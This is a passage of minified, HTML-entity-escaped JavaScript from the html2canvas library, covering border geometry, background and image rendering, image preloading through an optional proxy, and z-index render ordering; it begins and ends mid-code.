paddingLeft=getCSSInt(element,&quot;paddingLeft&quot;),paddingTop=getCSSInt(element,&quot;paddingTop&quot;),paddingRight=getCSSInt(element,&quot;paddingRight&quot;),paddingBottom=getCSSInt(element,&quot;paddingBottom&quot;);drawImage(ctx,image,0,0,image.width,image.height,bounds.left+paddingLeft+borders[3].width,bounds.top+paddingTop+borders[0].width,bounds.width-(borders[1].width+borders[3].width+paddingLeft+paddingRight),bounds.height-(borders[0].width+borders[2].width+paddingTop+paddingBottom))}function getBorderData(element){return[&quot;Top&quot;,&quot;Right&quot;,&quot;Bottom&quot;,&quot;Left&quot;].map(function(side){return{width:getCSSInt(element,&quot;border&quot;+side+&quot;Width&quot;),color:getCSS(element,&quot;border&quot;+side+&quot;Color&quot;)}})}function getBorderRadiusData(element){return[&quot;TopLeft&quot;,&quot;TopRight&quot;,&quot;BottomRight&quot;,&quot;BottomLeft&quot;].map(function(side){return getCSS(element,&quot;border&quot;+side+&quot;Radius&quot;)})}var getCurvePoints=(function(kappa){return function(x,y,r1,r2){var ox=(r1)*kappa,oy=(r2)*kappa,xm=x+r1,ym=y+r2;return{topLeft:bezierCurve({x:x,y:ym},{x:x,y:ym-oy},{x:xm-ox,y:y},{x:xm,y:y}),topRight:bezierCurve({x:x,y:y},{x:x+ox,y:y},{x:xm,y:ym-oy},{x:xm,y:ym}),bottomRight:bezierCurve({x:xm,y:y},{x:xm,y:y+oy},{x:x+ox,y:ym},{x:x,y:ym}),bottomLeft:bezierCurve({x:xm,y:ym},{x:xm-ox,y:ym},{x:x,y:y+oy},{x:x,y:y})}}})(4*((Math.sqrt(2)-1)/3));function bezierCurve(start,startControl,endControl,end){var lerp=function(a,b,t){return{x:a.x+(b.x-a.x)*t,y:a.y+(b.y-a.y)*t}};return{start:start,startControl:startControl,endControl:endControl,end:end,subdivide:function(t){var ab=lerp(start,startControl,t),bc=lerp(startControl,endControl,t),cd=lerp(endControl,end,t),abbc=lerp(ab,bc,t),bccd=lerp(bc,cd,t),dest=lerp(abbc,bccd,t);return[bezierCurve(start,ab,abbc,dest),bezierCurve(dest,bccd,cd,end)]},curveTo:function(borderArgs){borderArgs.push([&quot;bezierCurve&quot;,startControl.x,startControl.y,endControl.x,endControl.y,end.x,end.y])},curveToReversed:function(borderArgs){borderArgs.push([&quot;bezierCurve&quot;,endControl.x,endControl.y,startControl.x,startControl.y,start.x,start.y])}}}function parseCorner(borderArgs,radius1,radius2,corner1,corner2,x,y){if(radius1[0]&gt;0||radius1[1]&gt;0){borderArgs.push([&quot;line&quot;,corner1[0].start.x,corner1[0].start.y]);corner1[0].curveTo(borderArgs);corner1[1].curveTo(borderArgs)}else{borderArgs.push([&quot;line&quot;,x,y])}if(radius2[0]&gt;0||radius2[1]&gt;0){borderArgs.push([&quot;line&quot;,corner2[0].start.x,corner2[0].start.y])}}function drawSide(borderData,radius1,radius2,outer1,inner1,outer2,inner2){var borderArgs=[];if(radius1[0]&gt;0||radius1[1]&gt;0){borderArgs.push([&quot;line&quot;,outer1[1].start.x,outer1[1].start.y]);outer1[1].curveTo(borderArgs)}else{borderArgs.push([&quot;line&quot;,borderData.c1[0],borderData.c1[1]])}if(radius2[0]&gt;0||radius2[1]&gt;0){borderArgs.push([&quot;line&quot;,outer2[0].start.x,outer2[0].start.y]);outer2[0].curveTo(borderArgs);borderArgs.push([&quot;line&quot;,inner2[0].end.x,inner2[0].end.y]);inner2[0].curveToReversed(borderArgs)}else{borderArgs.push([&quot;line&quot;,borderData.c2[0],borderData.c2[1]]);borderArgs.push([&quot;line&quot;,borderData.c3[0],borderData.c3[1]])}if(radius1[0]&gt;0||radius1[1]&gt;0){borderArgs.push([&quot;line&quot;,inner1[1].end.x,inner1[1].end.y]);inner1[1].curveToReversed(borderArgs)}else{borderArgs.push([&quot;line&quot;,borderData.c4[0],borderData.c4[1]])}return borderArgs}function calculateCurvePoints(bounds,borderRadius,borders){var x=bounds.left,y=bounds.top,width=bounds.width,height=bounds.height,tlh=borderRadius[0][0],tlv=borderRadius[0][1],trh=borderRadius[1][0],trv=borderRadius[1][1],brh=borderRadius[2][0],brv=borderRadius[2][1],blh=borderRadius[3][0],blv=borderRadius[3][1],topWidth=width-trh,rightHeight=height-brv,bottomWidth=width-brh,leftHeight=height-blv;return{topLeftOuter:getCurvePoints(x,y,tlh,tlv).topLeft.subdivide(0.5),topLeftInner:getCurvePoints(x+borders[3].width,y+borders[0].width,Math.max(0,tlh-borders[3].width),Math.max(0,tlv-borders[0].width)).topLeft.subdivide(0.5),topRightOuter:getCurvePoints(x+topWidth,y,trh,trv).topRight.subdivide(0.5),topRightInner:getCurvePoints(x+Math.min(topWidth,width+borders[3].width),y+borders[0].width,(topWidth&gt;width+borders[3].width)?0:trh-borders[3].width,trv-borders[0].width).topRight.subdivide(0.5),bottomRightOuter:getCurvePoints(x+bottomWidth,y+rightHeight,brh,brv).bottomRight.subdivide(0.5),bottomRightInner:getCurvePoints(x+Math.min(bottomWidth,width+borders[3].width),y+Math.min(rightHeight,height+borders[0].width),Math.max(0,brh-borders[1].width),Math.max(0,brv-borders[2].width)).bottomRight.subdivide(0.5),bottomLeftOuter:getCurvePoints(x,y+leftHeight,blh,blv).bottomLeft.subdivide(0.5),bottomLeftInner:getCurvePoints(x+borders[3].width,y+leftHeight,Math.max(0,blh-borders[3].width),Math.max(0,blv-borders[2].width)).bottomLeft.subdivide(0.5)}
}function getBorderClip(element,borderPoints,borders,radius,bounds){var backgroundClip=getCSS(element,&quot;backgroundClip&quot;),borderArgs=[];switch(backgroundClip){case&quot;content-box&quot;:case&quot;padding-box&quot;:parseCorner(borderArgs,radius[0],radius[1],borderPoints.topLeftInner,borderPoints.topRightInner,bounds.left+borders[3].width,bounds.top+borders[0].width);parseCorner(borderArgs,radius[1],radius[2],borderPoints.topRightInner,borderPoints.bottomRightInner,bounds.left+bounds.width-borders[1].width,bounds.top+borders[0].width);parseCorner(borderArgs,radius[2],radius[3],borderPoints.bottomRightInner,borderPoints.bottomLeftInner,bounds.left+bounds.width-borders[1].width,bounds.top+bounds.height-borders[2].width);parseCorner(borderArgs,radius[3],radius[0],borderPoints.bottomLeftInner,borderPoints.topLeftInner,bounds.left+borders[3].width,bounds.top+bounds.height-borders[2].width);break;default:parseCorner(borderArgs,radius[0],radius[1],borderPoints.topLeftOuter,borderPoints.topRightOuter,bounds.left,bounds.top);parseCorner(borderArgs,radius[1],radius[2],borderPoints.topRightOuter,borderPoints.bottomRightOuter,bounds.left+bounds.width,bounds.top);parseCorner(borderArgs,radius[2],radius[3],borderPoints.bottomRightOuter,borderPoints.bottomLeftOuter,bounds.left+bounds.width,bounds.top+bounds.height);parseCorner(borderArgs,radius[3],radius[0],borderPoints.bottomLeftOuter,borderPoints.topLeftOuter,bounds.left,bounds.top+bounds.height);break}return borderArgs}function parseBorders(element,bounds,borders){var x=bounds.left,y=bounds.top,width=bounds.width,height=bounds.height,borderSide,bx,by,bw,bh,borderArgs,borderRadius=getBorderRadiusData(element),borderPoints=calculateCurvePoints(bounds,borderRadius,borders),borderData={clip:getBorderClip(element,borderPoints,borders,borderRadius,bounds),borders:[]};for(borderSide=0;borderSide&lt;4;borderSide++){if(borders[borderSide].width&gt;0){bx=x;by=y;bw=width;bh=height-(borders[2].width);switch(borderSide){case 0:bh=borders[0].width;borderArgs=drawSide({c1:[bx,by],c2:[bx+bw,by],c3:[bx+bw-borders[1].width,by+bh],c4:[bx+borders[3].width,by+bh]},borderRadius[0],borderRadius[1],borderPoints.topLeftOuter,borderPoints.topLeftInner,borderPoints.topRightOuter,borderPoints.topRightInner);break;case 1:bx=x+width-(borders[1].width);bw=borders[1].width;borderArgs=drawSide({c1:[bx+bw,by],c2:[bx+bw,by+bh+borders[2].width],c3:[bx,by+bh],c4:[bx,by+borders[0].width]},borderRadius[1],borderRadius[2],borderPoints.topRightOuter,borderPoints.topRightInner,borderPoints.bottomRightOuter,borderPoints.bottomRightInner);break;case 2:by=(by+height)-(borders[2].width);bh=borders[2].width;borderArgs=drawSide({c1:[bx+bw,by+bh],c2:[bx,by+bh],c3:[bx+borders[3].width,by],c4:[bx+bw-borders[3].width,by]},borderRadius[2],borderRadius[3],borderPoints.bottomRightOuter,borderPoints.bottomRightInner,borderPoints.bottomLeftOuter,borderPoints.bottomLeftInner);break;case 3:bw=borders[3].width;borderArgs=drawSide({c1:[bx,by+bh+borders[2].width],c2:[bx,by],c3:[bx+bw,by+borders[0].width],c4:[bx+bw,by+bh]},borderRadius[3],borderRadius[0],borderPoints.bottomLeftOuter,borderPoints.bottomLeftInner,borderPoints.topLeftOuter,borderPoints.topLeftInner);break}borderData.borders.push({args:borderArgs,color:borders[borderSide].color})}}return borderData}function createShape(ctx,args){var shape=ctx.drawShape();args.forEach(function(border,index){shape[(index===0)?&quot;moveTo&quot;:border[0]+&quot;To&quot;].apply(null,border.slice(1))});return shape}function renderBorders(ctx,borderArgs,color){if(color!==&quot;transparent&quot;){ctx.setVariable(&quot;fillStyle&quot;,color);createShape(ctx,borderArgs);ctx.fill();numDraws+=1}}function renderFormValue(el,bounds,stack){var valueWrap=doc.createElement(&quot;valuewrap&quot;),cssPropertyArray=[&quot;lineHeight&quot;,&quot;textAlign&quot;,&quot;fontFamily&quot;,&quot;color&quot;,&quot;fontSize&quot;,&quot;paddingLeft&quot;,&quot;paddingTop&quot;,&quot;width&quot;,&quot;height&quot;,&quot;border&quot;,&quot;borderLeftWidth&quot;,&quot;borderTopWidth&quot;],textValue,textNode;cssPropertyArray.forEach(function(property){try{valueWrap.style[property]=getCSS(el,property)}catch(e){Util.log(&quot;html2canvas: Parse: Exception caught in renderFormValue: &quot;+e.message)}});valueWrap.style.borderColor=&quot;black&quot;;valueWrap.style.borderStyle=&quot;solid&quot;;valueWrap.style.display=&quot;block&quot;;valueWrap.style.position=&quot;absolute&quot;;if(/^(submit|reset|button|text|password)$/.test(el.type)||el.nodeName===&quot;SELECT&quot;){valueWrap.style.lineHeight=getCSS(el,&quot;height&quot;)}valueWrap.style.top=bounds.top+&quot;px&quot;;valueWrap.style.left=bounds.left+&quot;px&quot;;textValue=(el.nodeName===&quot;SELECT&quot;)?(el.options[el.selectedIndex]||0).text:el.value;if(!textValue){textValue=el.placeholder}textNode=doc.createTextNode(textValue);valueWrap.appendChild(textNode);body.appendChild(valueWrap);renderText(el,textNode,stack);body.removeChild(valueWrap)}function drawImage(ctx){ctx.drawImage.apply(ctx,Array.prototype.slice.call(arguments,1));numDraws+=1}function getPseudoElement(el,which){var elStyle=window.getComputedStyle(el,which);if(!elStyle||!elStyle.content||elStyle.content===&quot;none&quot;||elStyle.content===&quot;-moz-alt-content&quot;||elStyle.display===&quot;none&quot;){return}var content=elStyle.content+&quot;&quot;,first=content.substr(0,1);
if(first===content.substr(content.length-1)&amp;&amp;first.match(/&#039;|&quot;/)){content=content.substr(1,content.length-2)}var isImage=content.substr(0,3)===&quot;url&quot;,elps=document.createElement(isImage?&quot;img&quot;:&quot;span&quot;);elps.className=pseudoHide+&quot;-before &quot;+pseudoHide+&quot;-after&quot;;Object.keys(elStyle).filter(indexedProperty).forEach(function(prop){try{elps.style[prop]=elStyle[prop]}catch(e){Util.log([&quot;Tried to assign readonly property &quot;,prop,&quot;Error:&quot;,e])}});if(isImage){elps.src=Util.parseBackgroundImage(content)[0].args[0]}else{elps.innerHTML=content}return elps}function indexedProperty(property){return(isNaN(window.parseInt(property,10)))}function injectPseudoElements(el,stack){var before=getPseudoElement(el,&quot;:before&quot;),after=getPseudoElement(el,&quot;:after&quot;);if(!before&amp;&amp;!after){return}if(before){el.className+=&quot; &quot;+pseudoHide+&quot;-before&quot;;el.parentNode.insertBefore(before,el);parseElement(before,stack,true);el.parentNode.removeChild(before);el.className=el.className.replace(pseudoHide+&quot;-before&quot;,&quot;&quot;).trim()}if(after){el.className+=&quot; &quot;+pseudoHide+&quot;-after&quot;;el.appendChild(after);parseElement(after,stack,true);el.removeChild(after);el.className=el.className.replace(pseudoHide+&quot;-after&quot;,&quot;&quot;).trim()}}function renderBackgroundRepeat(ctx,image,backgroundPosition,bounds){var offsetX=Math.round(bounds.left+backgroundPosition.left),offsetY=Math.round(bounds.top+backgroundPosition.top);ctx.createPattern(image);ctx.translate(offsetX,offsetY);ctx.fill();ctx.translate(-offsetX,-offsetY)}function backgroundRepeatShape(ctx,image,backgroundPosition,bounds,left,top,width,height){var args=[];args.push([&quot;line&quot;,Math.round(left),Math.round(top)]);args.push([&quot;line&quot;,Math.round(left+width),Math.round(top)]);args.push([&quot;line&quot;,Math.round(left+width),Math.round(height+top)]);args.push([&quot;line&quot;,Math.round(left),Math.round(height+top)]);createShape(ctx,args);ctx.save();ctx.clip();renderBackgroundRepeat(ctx,image,backgroundPosition,bounds);ctx.restore()}function renderBackgroundColor(ctx,backgroundBounds,bgcolor){renderRect(ctx,backgroundBounds.left,backgroundBounds.top,backgroundBounds.width,backgroundBounds.height,bgcolor)}function renderBackgroundRepeating(el,bounds,ctx,image,imageIndex){var backgroundSize=Util.BackgroundSize(el,bounds,image,imageIndex),backgroundPosition=Util.BackgroundPosition(el,bounds,image,imageIndex,backgroundSize),backgroundRepeat=getCSS(el,&quot;backgroundRepeat&quot;).split(&quot;,&quot;).map(Util.trimText);image=resizeImage(image,backgroundSize);backgroundRepeat=backgroundRepeat[imageIndex]||backgroundRepeat[0];switch(backgroundRepeat){case&quot;repeat-x&quot;:backgroundRepeatShape(ctx,image,backgroundPosition,bounds,bounds.left,bounds.top+backgroundPosition.top,99999,image.height);break;case&quot;repeat-y&quot;:backgroundRepeatShape(ctx,image,backgroundPosition,bounds,bounds.left+backgroundPosition.left,bounds.top,image.width,99999);break;case&quot;no-repeat&quot;:backgroundRepeatShape(ctx,image,backgroundPosition,bounds,bounds.left+backgroundPosition.left,bounds.top+backgroundPosition.top,image.width,image.height);break;default:renderBackgroundRepeat(ctx,image,backgroundPosition,{top:bounds.top,left:bounds.left,width:image.width,height:image.height});break}}function renderBackgroundImage(element,bounds,ctx){var backgroundImage=getCSS(element,&quot;backgroundImage&quot;),backgroundImages=Util.parseBackgroundImage(backgroundImage),image,imageIndex=backgroundImages.length;while(imageIndex--){backgroundImage=backgroundImages[imageIndex];if(!backgroundImage.args||backgroundImage.args.length===0){continue}var key=backgroundImage.method===&quot;url&quot;?backgroundImage.args[0]:backgroundImage.value;image=loadImage(key);if(image){renderBackgroundRepeating(element,bounds,ctx,image,imageIndex)}else{Util.log(&quot;html2canvas: Error loading background:&quot;,backgroundImage)}}}function resizeImage(image,bounds){if(image.width===bounds.width&amp;&amp;image.height===bounds.height){return image}var ctx,canvas=doc.createElement(&quot;canvas&quot;);canvas.width=bounds.width;canvas.height=bounds.height;ctx=canvas.getContext(&quot;2d&quot;);drawImage(ctx,image,0,0,image.width,image.height,0,0,bounds.width,bounds.height);return canvas}function setOpacity(ctx,element,parentStack){return ctx.setVariable(&quot;globalAlpha&quot;,getCSS(element,&quot;opacity&quot;)*((parentStack)?parentStack.opacity:1))}function removePx(str){return str.replace(&quot;px&quot;,&quot;&quot;)}var transformRegExp=/(matrix)\((.+)\)/;function getTransform(element,parentStack){var transform=getCSS(element,&quot;transform&quot;)||getCSS(element,&quot;-webkit-transform&quot;)||getCSS(element,&quot;-moz-transform&quot;)||getCSS(element,&quot;-ms-transform&quot;)||getCSS(element,&quot;-o-transform&quot;);var transformOrigin=getCSS(element,&quot;transform-origin&quot;)||getCSS(element,&quot;-webkit-transform-origin&quot;)||getCSS(element,&quot;-moz-transform-origin&quot;)||getCSS(element,&quot;-ms-transform-origin&quot;)||getCSS(element,&quot;-o-transform-origin&quot;)||&quot;0px 0px&quot;;transformOrigin=transformOrigin.split(&quot; &quot;).map(removePx).map(Util.asFloat);var matrix;if(transform&amp;&amp;transform!==&quot;none&quot;){var match=transform.match(transformRegExp);if(match){switch(match[1]){case&quot;matrix&quot;:matrix=match[2].split(&quot;,&quot;).map(Util.trimText).map(Util.asFloat);
break}}}return{origin:transformOrigin,matrix:matrix}}function createStack(element,parentStack,bounds,transform){var ctx=h2cRenderContext((!parentStack)?documentWidth():bounds.width,(!parentStack)?documentHeight():bounds.height),stack={ctx:ctx,opacity:setOpacity(ctx,element,parentStack),cssPosition:getCSS(element,&quot;position&quot;),borders:getBorderData(element),transform:transform,clip:(parentStack&amp;&amp;parentStack.clip)?Util.Extend({},parentStack.clip):null};setZ(element,stack,parentStack);if(options.useOverflow===true&amp;&amp;/(hidden|scroll|auto)/.test(getCSS(element,&quot;overflow&quot;))===true&amp;&amp;/(BODY)/i.test(element.nodeName)===false){stack.clip=(stack.clip)?clipBounds(stack.clip,bounds):bounds}return stack}function getBackgroundBounds(borders,bounds,clip){var backgroundBounds={left:bounds.left+borders[3].width,top:bounds.top+borders[0].width,width:bounds.width-(borders[1].width+borders[3].width),height:bounds.height-(borders[0].width+borders[2].width)};if(clip){backgroundBounds=clipBounds(backgroundBounds,clip)}return backgroundBounds}function getBounds(element,transform){var bounds=(transform.matrix)?Util.OffsetBounds(element):Util.Bounds(element);transform.origin[0]+=bounds.left;transform.origin[1]+=bounds.top;return bounds}function renderElement(element,parentStack,pseudoElement,ignoreBackground){var transform=getTransform(element,parentStack),bounds=getBounds(element,transform),image,stack=createStack(element,parentStack,bounds,transform),borders=stack.borders,ctx=stack.ctx,backgroundBounds=getBackgroundBounds(borders,bounds,stack.clip),borderData=parseBorders(element,bounds,borders),backgroundColor=(ignoreElementsRegExp.test(element.nodeName))?&quot;#efefef&quot;:getCSS(element,&quot;backgroundColor&quot;);createShape(ctx,borderData.clip);ctx.save();ctx.clip();if(backgroundBounds.height&gt;0&amp;&amp;backgroundBounds.width&gt;0&amp;&amp;!ignoreBackground){renderBackgroundColor(ctx,bounds,backgroundColor);renderBackgroundImage(element,backgroundBounds,ctx)}else{if(ignoreBackground){stack.backgroundColor=backgroundColor}}ctx.restore();borderData.borders.forEach(function(border){renderBorders(ctx,border.args,border.color)});if(!pseudoElement){injectPseudoElements(element,stack)}switch(element.nodeName){case&quot;IMG&quot;:if((image=loadImage(element.getAttribute(&quot;src&quot;)))){renderImage(ctx,element,image,bounds,borders)}else{Util.log(&quot;html2canvas: Error loading &lt;img&gt;:&quot;+element.getAttribute(&quot;src&quot;))}break;case&quot;INPUT&quot;:if(/^(text|url|email|submit|button|reset)$/.test(element.type)&amp;&amp;(element.value||element.placeholder||&quot;&quot;).length&gt;0){renderFormValue(element,bounds,stack)}break;case&quot;TEXTAREA&quot;:if((element.value||element.placeholder||&quot;&quot;).length&gt;0){renderFormValue(element,bounds,stack)}break;case&quot;SELECT&quot;:if((element.options||element.placeholder||&quot;&quot;).length&gt;0){renderFormValue(element,bounds,stack)}break;case&quot;LI&quot;:renderListItem(element,stack,backgroundBounds);break;case&quot;CANVAS&quot;:renderImage(ctx,element,element,bounds,borders);break}return stack}function isElementVisible(element){return(getCSS(element,&quot;display&quot;)!==&quot;none&quot;&amp;&amp;getCSS(element,&quot;visibility&quot;)!==&quot;hidden&quot;&amp;&amp;!element.hasAttribute(&quot;data-html2canvas-ignore&quot;))}function parseElement(element,stack,pseudoElement){if(isElementVisible(element)){stack=renderElement(element,stack,pseudoElement,false)||stack;if(!ignoreElementsRegExp.test(element.nodeName)){parseChildren(element,stack,pseudoElement)}}}function parseChildren(element,stack,pseudoElement){Util.Children(element).forEach(function(node){if(node.nodeType===node.ELEMENT_NODE){parseElement(node,stack,pseudoElement)}else{if(node.nodeType===node.TEXT_NODE){renderText(element,node,stack)}}})}function init(){var background=getCSS(document.documentElement,&quot;backgroundColor&quot;),transparentBackground=(Util.isTransparent(background)&amp;&amp;element===document.body),stack=renderElement(element,null,false,transparentBackground);parseChildren(element,stack);if(transparentBackground){background=stack.backgroundColor}body.removeChild(hidePseudoElements);return{backgroundColor:background,stack:stack}}return init()};function h2czContext(zindex){return{zindex:zindex,children:[]}}_html2canvas.Preload=function(options){var images={numLoaded:0,numFailed:0,numTotal:0,cleanupDone:false},pageOrigin,Util=_html2canvas.Util,methods,i,count=0,element=options.elements[0]||document.body,doc=element.ownerDocument,domImages=element.getElementsByTagName(&quot;img&quot;),imgLen=domImages.length,link=doc.createElement(&quot;a&quot;),supportCORS=(function(img){return(img.crossOrigin!==undefined)})(new Image()),timeoutTimer;link.href=window.location.href;pageOrigin=link.protocol+link.host;function isSameOrigin(url){link.href=url;link.href=link.href;var origin=link.protocol+link.host;return(origin===pageOrigin)}function start(){Util.log(&quot;html2canvas: start: images: &quot;+images.numLoaded+&quot; / &quot;+images.numTotal+&quot; (failed: &quot;+images.numFailed+&quot;)&quot;);if(!images.firstRun&amp;&amp;images.numLoaded&gt;=images.numTotal){Util.log(&quot;Finished loading images: # &quot;+images.numTotal+&quot; (failed: &quot;+images.numFailed+&quot;)&quot;);if(typeof options.complete===&quot;function&quot;){options.complete(images)}}}function proxyGetImage(url,img,imageObj){var callback_name,scriptUrl=options.proxy,script;
link.href=url;url=link.href;callback_name=&quot;html2canvas_&quot;+(count++);imageObj.callbackname=callback_name;if(scriptUrl.indexOf(&quot;?&quot;)&gt;-1){scriptUrl+=&quot;&amp;&quot;}else{scriptUrl+=&quot;?&quot;}scriptUrl+=&quot;url=&quot;+encodeURIComponent(url)+&quot;&amp;callback=&quot;+callback_name;script=doc.createElement(&quot;script&quot;);window[callback_name]=function(a){if(a.substring(0,6)===&quot;error:&quot;){imageObj.succeeded=false;images.numLoaded++;images.numFailed++;start()}else{setImageLoadHandlers(img,imageObj);img.src=a}window[callback_name]=undefined;try{delete window[callback_name]}catch(ex){}script.parentNode.removeChild(script);script=null;delete imageObj.script;delete imageObj.callbackname};script.setAttribute(&quot;type&quot;,&quot;text/javascript&quot;);script.setAttribute(&quot;src&quot;,scriptUrl);imageObj.script=script;window.document.body.appendChild(script)}function loadPseudoElement(element,type){var style=window.getComputedStyle(element,type),content=style.content;if(content.substr(0,3)===&quot;url&quot;){methods.loadImage(_html2canvas.Util.parseBackgroundImage(content)[0].args[0])}loadBackgroundImages(style.backgroundImage,element)}function loadPseudoElementImages(element){loadPseudoElement(element,&quot;:before&quot;);loadPseudoElement(element,&quot;:after&quot;)}function loadGradientImage(backgroundImage,bounds){var img=_html2canvas.Generate.Gradient(backgroundImage,bounds);if(img!==undefined){images[backgroundImage]={img:img,succeeded:true};images.numTotal++;images.numLoaded++;start()}}function invalidBackgrounds(background_image){return(background_image&amp;&amp;background_image.method&amp;&amp;background_image.args&amp;&amp;background_image.args.length&gt;0)}function loadBackgroundImages(background_image,el){var bounds;_html2canvas.Util.parseBackgroundImage(background_image).filter(invalidBackgrounds).forEach(function(background_image){if(background_image.method===&quot;url&quot;){methods.loadImage(background_image.args[0])}else{if(background_image.method.match(/\-?gradient$/)){if(bounds===undefined){bounds=_html2canvas.Util.Bounds(el)}loadGradientImage(background_image.value,bounds)}}})}function getImages(el){var elNodeType=false;try{Util.Children(el).forEach(getImages)}catch(e){}try{elNodeType=el.nodeType}catch(ex){elNodeType=false;Util.log(&quot;html2canvas: failed to access some element&#039;s nodeType - Exception: &quot;+ex.message)}if(elNodeType===1||elNodeType===undefined){loadPseudoElementImages(el);try{loadBackgroundImages(Util.getCSS(el,&quot;backgroundImage&quot;),el)}catch(e){Util.log(&quot;html2canvas: failed to get background-image - Exception: &quot;+e.message)}loadBackgroundImages(el)}}function setImageLoadHandlers(img,imageObj){img.onload=function(){if(imageObj.timer!==undefined){window.clearTimeout(imageObj.timer)}images.numLoaded++;imageObj.succeeded=true;img.onerror=img.onload=null;start()};img.onerror=function(){if(img.crossOrigin===&quot;anonymous&quot;){window.clearTimeout(imageObj.timer);if(options.proxy){var src=img.src;img=new Image();imageObj.img=img;img.src=src;proxyGetImage(img.src,img,imageObj);return}}images.numLoaded++;images.numFailed++;imageObj.succeeded=false;img.onerror=img.onload=null;start()}}methods={loadImage:function(src){var img,imageObj;if(src&amp;&amp;images[src]===undefined){img=new Image();if(src.match(/data:image\/.*;base64,/i)){img.src=src.replace(/url\([&#039;&quot;]{0,}|[&#039;&quot;]{0,}\)$/ig,&quot;&quot;);imageObj=images[src]={img:img};images.numTotal++;setImageLoadHandlers(img,imageObj)}else{if(isSameOrigin(src)||options.allowTaint===true){imageObj=images[src]={img:img};images.numTotal++;setImageLoadHandlers(img,imageObj);img.src=src}else{if(supportCORS&amp;&amp;!options.allowTaint&amp;&amp;options.useCORS){img.crossOrigin=&quot;anonymous&quot;;imageObj=images[src]={img:img};images.numTotal++;setImageLoadHandlers(img,imageObj);img.src=src}else{if(options.proxy){imageObj=images[src]={img:img};images.numTotal++;proxyGetImage(src,img,imageObj)}}}}}},cleanupDOM:function(cause){var img,src;if(!images.cleanupDone){if(cause&amp;&amp;typeof cause===&quot;string&quot;){Util.log(&quot;html2canvas: Cleanup because: &quot;+cause)}else{Util.log(&quot;html2canvas: Cleanup after timeout: &quot;+options.timeout+&quot; ms.&quot;)}for(src in images){if(images.hasOwnProperty(src)){img=images[src];if(typeof img===&quot;object&quot;&amp;&amp;img.callbackname&amp;&amp;img.succeeded===undefined){window[img.callbackname]=undefined;try{delete window[img.callbackname]}catch(ex){}if(img.script&amp;&amp;img.script.parentNode){img.script.setAttribute(&quot;src&quot;,&quot;about:blank&quot;);img.script.parentNode.removeChild(img.script)}images.numLoaded++;images.numFailed++;Util.log(&quot;html2canvas: Cleaned up failed img: &#039;&quot;+src+&quot;&#039; Steps: &quot;+images.numLoaded+&quot; / &quot;+images.numTotal)}}}if(window.stop!==undefined){window.stop()}else{if(document.execCommand!==undefined){document.execCommand(&quot;Stop&quot;,false)}}if(document.close!==undefined){document.close()}images.cleanupDone=true;if(!(cause&amp;&amp;typeof cause===&quot;string&quot;)){start()}}},renderingDone:function(){if(timeoutTimer){window.clearTimeout(timeoutTimer)}}};if(options.timeout&gt;0){timeoutTimer=window.setTimeout(methods.cleanupDOM,options.timeout)}Util.log(&quot;html2canvas: Preload starts: finding background-images&quot;);images.firstRun=true;getImages(element);Util.log(&quot;html2canvas: Preload: Finding images&quot;);
for(i=0;i&lt;imgLen;i+=1){methods.loadImage(domImages[i].getAttribute(&quot;src&quot;))}images.firstRun=false;Util.log(&quot;html2canvas: Preload: Done.&quot;);if(images.numTotal===images.numLoaded){start()}return methods};_html2canvas.Renderer=function(parseQueue,options){function createRenderQueue(parseQueue){var queue=[],rootContext;rootContext=(function buildStackingContext(rootNode){var rootContext={};function insert(context,node,specialParent){var zi=(node.zIndex.zindex===&quot;auto&quot;)?0:Number(node.zIndex.zindex),contextForChildren=context,isPositioned=node.zIndex.isPositioned,isFloated=node.zIndex.isFloated,stub={node:node},childrenDest=specialParent;if(node.zIndex.ownStacking){contextForChildren=stub.context={&quot;!&quot;:[{node:node,children:[]}]};childrenDest=undefined}else{if(isPositioned||isFloated){childrenDest=stub.children=[]}}if(zi===0&amp;&amp;specialParent){specialParent.push(stub)}else{if(!context[zi]){context[zi]=[]}context[zi].push(stub)}node.zIndex.children.forEach(function(childNode){insert(contextForChildren,childNode,childrenDest)})}insert(rootContext,rootNode);return rootContext})(parseQueue);function sortZ(context){Object.keys(context).sort().forEach(function(zi){var nonPositioned=[],floated=[],positioned=[],list=[];context[zi].forEach(function(v){if(v.node.zIndex.isPositioned||v.node.zIndex.opacity&lt;1){positioned.push(v)}else{if(v.node.zIndex.isFloated){floated.push(v)}else{nonPositioned.push(v)}}});(function walk(arr){arr.forEach(function(v){list.push(v);if(v.children){walk(v.children)}})})(nonPositioned.concat(floated,positioned));list.forEach(function(v){if(v.context){sortZ(v.context)}else{queue.push(v.node)}})})}sortZ(rootContext);return queue}function getRenderer(rendererName){var renderer;if(typeof options.renderer===&quot;string&quot;&amp;&amp;_html2canvas.Renderer[rendererName]!==undefined){renderer=_html2canvas.Renderer[rendererName](options)}else{if(typeof rendererName===&quot;function&quot;){renderer=rendererName(options)}else{throw new Error(&quot;Unknown renderer&quot;)}}if(typeof renderer!==&quot;function&quot;){throw new Error(&quot;Invalid renderer defined&quot;)}return renderer}return getRenderer(options.renderer)(parseQueue,options,document,createRenderQueue(parseQueue.stack),_html2canvas)};_html2canvas.Util.Support=function(options,doc){function supportSVGRendering(){var img=new Image(),canvas=doc.createElement(&quot;canvas&quot;),ctx=(canvas.getContext===undefined)?false:canvas.getContext(&quot;2d&quot;);if(ctx===false){return false}canvas.width=canvas.height=10;img.src=[&quot;data:image/svg+xml,&quot;,&quot;&lt;svg xmlns=&#039;http://www.w3.org/2000/svg&#039; width=&#039;10&#039; height=&#039;10&#039;&gt;&quot;,&quot;&lt;foreignObject width=&#039;10&#039; height=&#039;10&#039;&gt;&quot;,&quot;&lt;div xmlns=&#039;http://www.w3.org/1999/xhtml&#039; style=&#039;width:10;height:10;&#039;&gt;&quot;,&quot;sup&quot;,&quot;&lt;/div&gt;&quot;,&quot;&lt;/foreignObject&gt;&quot;,&quot;&lt;/svg&gt;&quot;].join(&quot;&quot;);try{ctx.drawImage(img,0,0);canvas.toDataURL()}catch(e){return false}_html2canvas.Util.log(&quot;html2canvas: Parse: SVG powered rendering available&quot;);return true}function supportRangeBounds(){var r,testElement,rangeBounds,rangeHeight,support=false;if(doc.createRange){r=doc.createRange();if(r.getBoundingClientRect){testElement=doc.createElement(&quot;boundtest&quot;);testElement.style.height=&quot;123px&quot;;testElement.style.display=&quot;block&quot;;doc.body.appendChild(testElement);r.selectNode(testElement);rangeBounds=r.getBoundingClientRect();rangeHeight=rangeBounds.height;if(rangeHeight===123){support=true}doc.body.removeChild(testElement)}}return support}return{rangeBounds:supportRangeBounds(),svgRendering:options.svgRendering&amp;&amp;supportSVGRendering()}};window.html2canvas=function(elements,opts){elements=(elements.length)?elements:[elements];var 